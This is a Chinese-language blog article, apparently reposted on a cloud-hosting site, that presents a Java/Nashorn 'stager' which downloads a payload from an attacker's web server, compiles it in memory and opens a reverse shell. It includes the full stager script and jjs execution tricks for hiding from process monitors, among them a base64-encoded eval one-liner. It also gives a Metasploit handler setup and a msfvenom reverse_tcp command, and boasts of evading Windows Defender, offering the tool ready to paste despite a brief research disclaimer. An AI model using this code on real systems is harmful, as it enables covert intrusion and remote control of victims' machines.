您好,登錄后才能下訂單哦!
這篇文章主要講解了“Java傳輸器的特性及用法”,文中的講解內(nèi)容簡單清晰,易于學(xué)習(xí)與理解,下面請大家跟著小編的思路慢慢深入,一起來研究和學(xué)習(xí)“Java傳輸器的特性及用法”吧!
我們重新分析一下傳輸器的目標(biāo)及特性:
傳輸器是上傳到目標(biāo)主機的一個執(zhí)行文件或腳本。
傳輸器必須是正常代碼以躲避殺軟的粗暴分析。
傳輸器接著通過HTTP將實際payload下載到內(nèi)存,這也是躲避殺軟策略的方法。
這種“躲入內(nèi)存”的方法來源于James Williams發(fā)布在油管的視頻《英特網(wǎng)太熱》(~……~)。這段視頻被一家殺毒廠商以版權(quán)問題強制臨時下架,這使視頻一下火了。目前已有3萬2千的播放量,比第二名多了3萬。而第二名是一段今年BSides Manchester會議的視頻。
我用牛逼的Nashorn引擎實現(xiàn)了一個和Java傳輸器一樣的TCP反彈SHELL。老版本可以在這里看到:https://github.com/cornerpirate/java-stager/blob/master/src/main/java/TCPReverseShell.java下面是使用Nashorn的新版本:
// 將這里改為攻擊者主機地址 var host = "http:///"; // 通過HTTP加載NnClassLoader load(host + "NnClassLoader.js"); // 使用NnClassLoader下載Janino和Apache的jar包 // Obtain these Jar files and stick them in your web root var L = new NnClassLoader({ urls: [host + 'janino-3.0.8.jar', host + 'commons-compiler-3.0.8.jar']}); var P = L.type('org.codehaus.janino.SimpleCompiler'); var SimpleCompiler = L.type("org.codehaus.janino.SimpleCompiler"); // 引入我們要用的對象 var BufferedReader = Java.type("java.io.BufferedReader"); var InputStreamReader = Java.type("java.io.InputStreamReader"); var StringReader = Java.type("java.io.StringReader"); var StringBuffer = Java.type("java.lang.StringBuffer"); var Method = Java.type("java.lang.reflect.Method"); var URL = Java.type("java.net.URL"); var URLConnection = Java.type("java.net.URLConnection"); // 將java傳輸器版的Payload.java文件放在攻擊者的web server上 // 由這段代碼下載payload var payloadServer = new URL(host + "Payload.java"); var yc = payloadServer.openConnection(); var ins = new BufferedReader(new InputStreamReader(yc.getInputStream())); // 將代碼讀入內(nèi)存中的字符串中 var inputLine; var payloadCode = new StringBuffer(); while ((inputLine = ins.readLine()) != null) { payloadCode.append(inputLine + "\n"); } // 關(guān)閉輸入流 ins.close(); print("[*] Downloaded payload"); // 用Janino編譯 print("[*] Compiling ...."); var compiler = new SimpleCompiler(); compiler.cook(new StringReader(payloadCode.toString())); var compiled = compiler.getClassLoader().loadClass("Payload") ; // 通過反射機制執(zhí)行run方法 print("[*] Executing ...."); var runMeth = compiled.getMethod("Run"); // 這種方式調(diào)用的是static型的run方法 runMeth.invoke(null); print("[*] Payload, payloading ....");
但愿注解能夠說清它的原理。大致過程是這樣:
下載NnClassLoader.js庫,它可以加載特定類。
下載必需的兩個java庫(janino,comons-compiler),內(nèi)存編譯時需要它們。
下載payload并放入內(nèi)存。
在內(nèi)存中編譯。
用反射機制執(zhí)行payload對象的run方法來觸發(fā)payload
就和前面文章的過程一模一樣。
攻擊者的服務(wù)器根目錄下需要反之以下文件:
1. NnClassLoader
2. janino-3.0.8.jar
3. commons-compiler-3.0.8-jar
4. Payload.java
接著你可以啟動metasploit的multi/handler模塊并把payload設(shè)置為"generic/shell_reverse_tcp"。
再次聲明:這里只是以研究為目的的攻擊。你要做的是將上述Nashorn代碼拷貝并粘入目標(biāo)機器的文本編輯器,接下來你要做的是:
將Nashorn代碼的host設(shè)置攻擊者主機
保存js代碼入磁盤,例如取名為“revshell.js”
使用jjs的話可以有3中方法運行“revshell.js”:
# 作為jjs的參數(shù)執(zhí)行 jjs path/to/revshell.js
該方法的優(yōu)點是so easy,但缺點在于當(dāng)你打開Sysinternals的進(jìn)程管理器時,你會看到它會暴露payload的路徑,這可不怎么好。
# 使用echo命令將標(biāo)準(zhǔn)輸入通過管道發(fā)給jjs接口 echo load("path/to/revshell.js")|jjs
再次查看進(jìn)程管理器我們發(fā)現(xiàn)不再有路徑信息暴露了。
# 在jjs交互態(tài)時輸入命令 jjs jjs> load("path/to/revshell.js")
這種方法的效果和第二種一樣。
上一步驟的過程不錯,但仍舊會保存一份文件在磁盤中。如果你想全部在內(nèi)存中完成,可以這樣做:
上傳你的"revshell.js"到你的web server并使用"load()"
或者直接粘貼revshell的代碼到j(luò)js的交互接口中去。
最后一步,是將你的payload用base64編碼,然后只粘貼一行命令到j(luò)js中。在windows環(huán)境下,你還可以用powershell、certutil來進(jìn)行base64編碼。當(dāng)你有了base64版本的payload后,只要像下面這樣把它粘入"ENCODED_TEXT"部分就行:
echo eval(new java.lang.String(java.util.Base64.decoder.decode('ENCODED_TEXT'))); |jjs
它將會在Oracle已經(jīng)簽名過的jjs.exe的上下文中執(zhí)行,同時也避免了輸入?yún)?shù)出現(xiàn)在windows進(jìn)程管理器中。
Sysinternals的進(jìn)程管理器的過濾功能我們發(fā)現(xiàn):
我發(fā)現(xiàn)我們的jjs(在這里是pid 3504)創(chuàng)建了臨時文件:
這其實是NnClassLoader創(chuàng)建的,它們是janino和common-compiler包的副本。因為它們并非惡意代碼,所以能通過任何安全軟件的審查。以上就是我對上一版本的java傳輸器的改進(jìn)。
首先是攻擊者啟動服務(wù)器并捕捉反彈回的shell:
如下是目標(biāo)主機在執(zhí)行echo base64(payload) | jjs后的結(jié)果:
Whoops!攻擊成功了!
java傳輸器和Nashorn例子中用的payload目前應(yīng)該能躲過大多數(shù)殺軟的策略。原因如下:
它們大多數(shù)是存在于內(nèi)存中,一個經(jīng)典的躲藏位置
payload出自我手。任何時候最有效的逃逸殺軟辦法就是自己寫payload。如果目標(biāo)主機的殺軟沒有特征碼來匹配你的payload,那你幾乎能為所欲為了。
正因如此,我想嘗試在開啟更新的Windows Defender中觸發(fā)警報。我把Defender設(shè)置在high級別,接下我們用Eicar測試來觸發(fā)警報。
在我的目標(biāo)虛擬機中,我用load()來獲取eicar語句拷貝:
下載過程沒有毛病但卻無法執(zhí)行,因為eicar語句并不是js語句。沒有報警,說明訪問掃描功能無法發(fā)現(xiàn)內(nèi)存中的Eicar,同理我們藏payload的地方難以發(fā)現(xiàn)。<br>
為了觸發(fā)警報,我不得不用java把Eicar語句寫入磁盤,如下:
當(dāng)執(zhí)行到"fw.close()"的時刻Defender也觸發(fā)了警報。
我做的最后一次測試時直接用msfvenom直接生成一個未編碼的payload,如下:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f asp > shell.asp
然后我用load()下載它:
又一次Defender沒有報警但它卻執(zhí)行失敗了,同樣因為它不是js文件。連msfvenom赤果果的payload都沒報警我不知道還有什么需要測試了。
好了,你可以用它了,一個可以擊敗藍(lán)軍的只需復(fù)制粘貼就能做很多事的“空中”文件。
感謝各位的閱讀,以上就是“Java傳輸器的特性及用法”的內(nèi)容了,經(jīng)過本文的學(xué)習(xí)后,相信大家對Java傳輸器的特性及用法這一問題有了更深刻的體會,具體使用情況還需要大家實踐驗證。這里是億速云,小編將為大家推送更多相關(guān)知識點的文章,歡迎關(guān)注!
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。